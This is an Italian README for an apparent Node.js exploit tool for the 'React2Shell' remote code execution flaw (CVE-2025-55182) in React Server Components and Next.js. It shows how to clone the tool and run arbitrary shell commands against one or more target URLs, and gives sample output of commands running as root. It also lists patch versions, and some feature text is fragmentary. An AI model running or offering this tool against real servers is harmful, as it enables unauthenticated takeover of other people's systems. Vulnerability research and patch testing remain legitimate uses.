
Script di exploit e scanner basati su NodeJS per la vulnerabilità "React2Shell" dei React Server Components (CVE-2025-55182).
SOLO A SCOPO DIDATTICO E DI RICERCA SULLA SICUREZZA.
Questo strumento è progettato per aiutare professionisti della sicurezza e amministratori a verificare la vulnerabilità dei propri sistemi. L'autore non è responsabile per qualsiasi uso improprio, danno o atto illegale compiuto utilizzando questo codice.
CVE-2025-55182 è una vulnerabilità di esecuzione remota di codice in react-server-dom-webpack, un pacchetto centrale utilizzato da Next.js (App Router) e React 19.
La vulnerabilità consente a un utente malintenzionato non autenticato di iniettare payload malevoli nelle React Server Actions. Manipolando il processo di deserializzazione, l'attaccante può accedere al costruttore Function di JavaScript ed eseguire comandi arbitrari sul server.
Leggi in dettaglio: https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components
Versioni Affette:
react-server-dom-webpack: 19.0.0 - 19.2.0next: 13.4.x, 14.x (pre-14.2.35), 15.x (pre-15.5.9)Questo script aggiornato utilizza tecniche di sfruttamento avanzate per essere più affidabile:
Next-Action valido. Funziona su qualsiasi istanza Next.js vulnerabile senza ricognizione manuale.Location. Evita errori 500 e fornisce output pulito.Clona il repository:
git clone https://github.com/sangleshubham/React-Security-CVE-2025-55182-Exploit.git
Vai nella directory:
cd React-Security-CVE-2025-55182-Exploit
Controlla la versione di Node.js: Assicurati di avere Node.js installato (si consiglia v18 o superiore).
node -v
(Nota: Questo script utilizza librerie standard di Node.js, quindi non è richiesto npm install.)
Lo script react2shell.js rileva automaticamente se stai scansionando uno o più target.
Il comando predefinito eseguito è id.
# Singolo Target
node react2shell.js http://localhost:3000 ls
# Target Multipli
node react2shell.js http://localhost:3000 [http://staging.example.com] ls
Per eseguire un comando specifico, fornisci come ultimo argomento.
# Sintassi: node script.js <URL> <COMANDO>
node react2shell.js http://localhost:3000 <comando>
⚠️ VULNERABILE: Lo strumento ha eseguito con successo il comando e contrabbandato l'output tramite l'header di redirect.
[*] Avvio scansione universale...
[*] Payload Comando: "id"
⚠️ VULNERABILE (http://localhost:3000)
Output: uid=0(root) gid=0(root) groups=0(root)
🛡️ SICURO: Il server ha rifiutato il payload o è stato patchato.
🛡️ SICURO (http://google.com) | Stato: 405
❌ ERRORE DI CONNESSIONE: Lo script non ha potuto raggiungere il server.
❌ ERRORE DI CONNESSIONE (http://bad-url.com) | fetch fallito
Se la tua applicazione è vulnerabile, aggiorna le dipendenze immediatamente.
Per Next.js:
# Next.js 14
npm install [email protected] react@latest react-dom@latest
# Next.js 15
npm install [email protected] react@latest react-dom@latest
Per altri framework (Waku, Remix, ecc.):
Assicurati che react-server-dom-webpack sia aggiornato alla v19.2.1 o superiore.
Distribuito sotto licenza MIT. Vedi LICENSE per maggiori informazioni.